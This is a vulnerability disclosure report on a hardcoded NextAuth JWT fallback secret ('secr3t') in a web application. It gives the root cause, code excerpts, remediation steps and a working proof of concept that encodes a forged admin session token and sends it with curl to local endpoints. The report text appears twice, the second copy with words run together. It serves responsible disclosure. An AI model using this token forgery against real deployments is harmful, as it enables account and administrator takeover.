Hardcoded NextAuth JWT secret fallback enables forged sessions
Summary
apps/web/lib/auth.ts uses the publicly readable fallback "secr3t" when NEXTAUTH_SECRET is not set. The application explicitly uses NextAuth JWT sessions, so this value protects the session token accepted by the authentication route.
An attacker who knows secr3t can create a valid NextAuth session token without completing the GitHub or Google login flow. If the attacker also knows a valid application user ID, the forged token is accepted as that user. If the ID belongs to an administrator, the session callback copies the database admin flag into the forged session and the administrator-only routes accept it.
Severity
High, when a deployment does not set a unique NEXTAUTH_SECRET and a target user ID is known.
- CWE: CWE-798, Use of Hard-coded Credentials
- Affected revision:
68c17c8d7edb21e27bac9821d59f3af0d028070b
- Affected component:
apps/web/lib/auth.ts
- Prerequisites:
NEXTAUTH_SECRET is unset, and the attacker knows a valid user ID for the account being impersonated
The finding is conditional on the deployment retaining the fallback. The report does not claim that the fallback alone lets an attacker guess an unknown user ID.
Root cause
The authentication configuration contains a fixed fallback secret:
apps/web/lib/auth.ts:22
secret: process.env.NEXTAUTH_SECRET || "secr3t",
The same configuration explicitly selects JWT sessions:
apps/web/lib/auth.ts:26
session: { strategy: "jwt" as SessionStrategy },
NextAuth v4 uses NEXTAUTH_SECRET to encrypt its JWT session token. With the JWT strategy, the session token is stored in the session cookie instead of being validated as a database Session.sessionToken. The project wires this configuration into the authentication route:
apps/web/app/api/auth/[...nextauth]/route.ts:1-6
const handler = NextAuth(authOptions);
export { handler as GET, handler as POST };
NextAuth documents that NEXTAUTH_SECRET encrypts JWTs and that session: { strategy: "jwt" } stores an encrypted JWT in the session cookie:
Authentication and authorization impact
The JWT callback returns the token without adding a server-issued session binding. The session callback accepts token.sub as the session user ID and performs a separate user lookup only to obtain the admin flag:
apps/web/lib/auth.ts:27-41
async jwt({ token }: any) {
return token;
},
async session({ session, token }: any) {
const user = await db.user.findUnique({
where: { id: token.sub },
});
if (token) {
session.user.id = token.sub;
session.user.admin = user?.admin;
}
return session;
},
The user model has a database-backed admin field, but the JWT session is not required to match a previously issued database session record:
packages/db/prisma/schema.prisma:30-53
model Session {
sessionToken String @unique
userId String
expires DateTime
user User @relation(fields: [userId], references: [id], onDelete: Cascade)
}
model User {
id String @id @default(cuid())
admin Boolean @default(false)
}
The forged session is used by both ordinary authenticated pages and administrator-only paths:
This creates a hybrid authorization path: the token supplies the user identifier, while the database supplies the administrator bit. The database lookup limits arbitrary claims such as admin=true, but it does not turn the JWT into a stateful session-token check. A valid encrypted token containing a known administrator ID is still accepted.
Proof of concept
Run this only against a local, disposable deployment that uses the cited revision.
- Install the web dependencies and start the application without defining
NEXTAUTH_SECRET:
pnpm install
cd apps/web
unset NEXTAUTH_SECRET
pnpm dev
-
Set TARGET_USER_ID to a user ID in the local test database. Use an administrator ID to test the administrator path.
-
Generate a NextAuth-compatible encrypted session token with the exposed fallback:
cd apps/web
export TARGET_USER_ID="KNOWN_USER_OR_ADMIN_CUID"
TOKEN="$(node --input-type=module <<'NODE'
import { encode } from "next-auth/jwt";
const token = await encode({
token: {
sub: process.env.TARGET_USER_ID,
name: "forged-session",
},
secret: "secr3t",
maxAge: 3600,
});
process.stdout.write(token);
NODE
)"
- Send the forged token to the NextAuth session endpoint:
curl -i http://127.0.0.1:3000/api/auth/session \
-H "Cookie: next-auth.session-token=${TOKEN}"
Expected result for an administrator ID:
HTTP/1.1 200 OK
{"user":{"id":"KNOWN_USER_OR_ADMIN_CUID","admin":true,...}}
The response demonstrates that the server accepted a session encrypted with the committed fallback and populated the identity without a normal OAuth login. The following request should also render the administrator page instead of the Access Denied response:
curl -i http://127.0.0.1:3000/admin \
-H "Cookie: next-auth.session-token=${TOKEN}"
For an HTTPS deployment, use the secure cookie name configured by NextAuth, normally __Secure-next-auth.session-token, and send the request over HTTPS.
Remediation
Remove the hardcoded fallback and fail closed when NEXTAUTH_SECRET is missing:
const secret = process.env.NEXTAUTH_SECRET;
if (!secret) {
throw new Error("NEXTAUTH_SECRET must be set to a deployment-specific random value");
}
export const authOptions = {
secret,
// ...
};
Generate a unique value for each deployment, for example:
After replacing the fallback, rotate the secret and invalidate previously issued sessions. Keep the database lookup for authorization, but do not treat a public fallback as a valid production secret.
Disclosure note
The repository security page did not expose a repository-specific SECURITY.md or private advisory channel at the time of review. This report is therefore formatted for issue-compatible disclosure.
This report is part of my ongoing research into the security of authentication mechanisms. If you have any questions about this finding or the evidence provided, please feel free to mention me in the discussion or contact me directly at any time. I would be very happy to discuss it and to contribute, in any way I can, to improving the security of Code100x Daily Code.
References
Hardcoded NextAuth JWT secret fallback enables forged sessions
Summary
apps/web/lib/auth.tsuses the publicly readable fallback"secr3t"whenNEXTAUTH_SECRETis not set. The application explicitly uses NextAuth JWT sessions, so this value protects the session token accepted by the authentication route.An attacker who knows
secr3tcan create a valid NextAuth session token without completing the GitHub or Google login flow. If the attacker also knows a valid application user ID, the forged token is accepted as that user. If the ID belongs to an administrator, the session callback copies the databaseadminflag into the forged session and the administrator-only routes accept it.Severity
High, when a deployment does not set a unique
NEXTAUTH_SECRETand a target user ID is known.68c17c8d7edb21e27bac9821d59f3af0d028070bapps/web/lib/auth.tsNEXTAUTH_SECRETis unset, and the attacker knows a valid user ID for the account being impersonatedThe finding is conditional on the deployment retaining the fallback. The report does not claim that the fallback alone lets an attacker guess an unknown user ID.
Root cause
The authentication configuration contains a fixed fallback secret:
apps/web/lib/auth.ts:22The same configuration explicitly selects JWT sessions:
apps/web/lib/auth.ts:26NextAuth v4 uses
NEXTAUTH_SECRETto encrypt its JWT session token. With the JWT strategy, the session token is stored in the session cookie instead of being validated as a databaseSession.sessionToken. The project wires this configuration into the authentication route:apps/web/app/api/auth/[...nextauth]/route.ts:1-6NextAuth documents that
NEXTAUTH_SECRETencrypts JWTs and thatsession: { strategy: "jwt" }stores an encrypted JWT in the session cookie:NEXTAUTH_SECREToptionAuthentication and authorization impact
The JWT callback returns the token without adding a server-issued session binding. The session callback accepts
token.subas the session user ID and performs a separate user lookup only to obtain theadminflag:apps/web/lib/auth.ts:27-41The user model has a database-backed
adminfield, but the JWT session is not required to match a previously issued database session record:packages/db/prisma/schema.prisma:30-53The forged session is used by both ordinary authenticated pages and administrator-only paths:
apps/web/app/profile/page.tsx:7-11accepts any non-empty session.apps/web/app/admin/layout.tsx:7-10trustssession.user.admin.apps/web/app/api/AddTracks/route.ts:7-10uses the same administrator check for an API endpoint.This creates a hybrid authorization path: the token supplies the user identifier, while the database supplies the administrator bit. The database lookup limits arbitrary claims such as
admin=true, but it does not turn the JWT into a stateful session-token check. A valid encrypted token containing a known administrator ID is still accepted.Proof of concept
Run this only against a local, disposable deployment that uses the cited revision.
NEXTAUTH_SECRET:Set
TARGET_USER_IDto a user ID in the local test database. Use an administrator ID to test the administrator path.Generate a NextAuth-compatible encrypted session token with the exposed fallback:
curl -i http://127.0.0.1:3000/api/auth/session \ -H "Cookie: next-auth.session-token=${TOKEN}"Expected result for an administrator ID:
The response demonstrates that the server accepted a session encrypted with the committed fallback and populated the identity without a normal OAuth login. The following request should also render the administrator page instead of the
Access Deniedresponse:curl -i http://127.0.0.1:3000/admin \ -H "Cookie: next-auth.session-token=${TOKEN}"For an HTTPS deployment, use the secure cookie name configured by NextAuth, normally
__Secure-next-auth.session-token, and send the request over HTTPS.Remediation
Remove the hardcoded fallback and fail closed when
NEXTAUTH_SECRETis missing:Generate a unique value for each deployment, for example:
After replacing the fallback, rotate the secret and invalidate previously issued sessions. Keep the database lookup for authorization, but do not treat a public fallback as a valid production secret.
Disclosure note
The repository security page did not expose a repository-specific
SECURITY.mdor private advisory channel at the time of review. This report is therefore formatted for issue-compatible disclosure.This report is part of my ongoing research into the security of authentication mechanisms. If you have any questions about this finding or the evidence provided, please feel free to mention me in the discussion or contact me directly at any time. I would be very happy to discuss it and to contribute, in any way I can, to improving the security of Code100x Daily Code.
References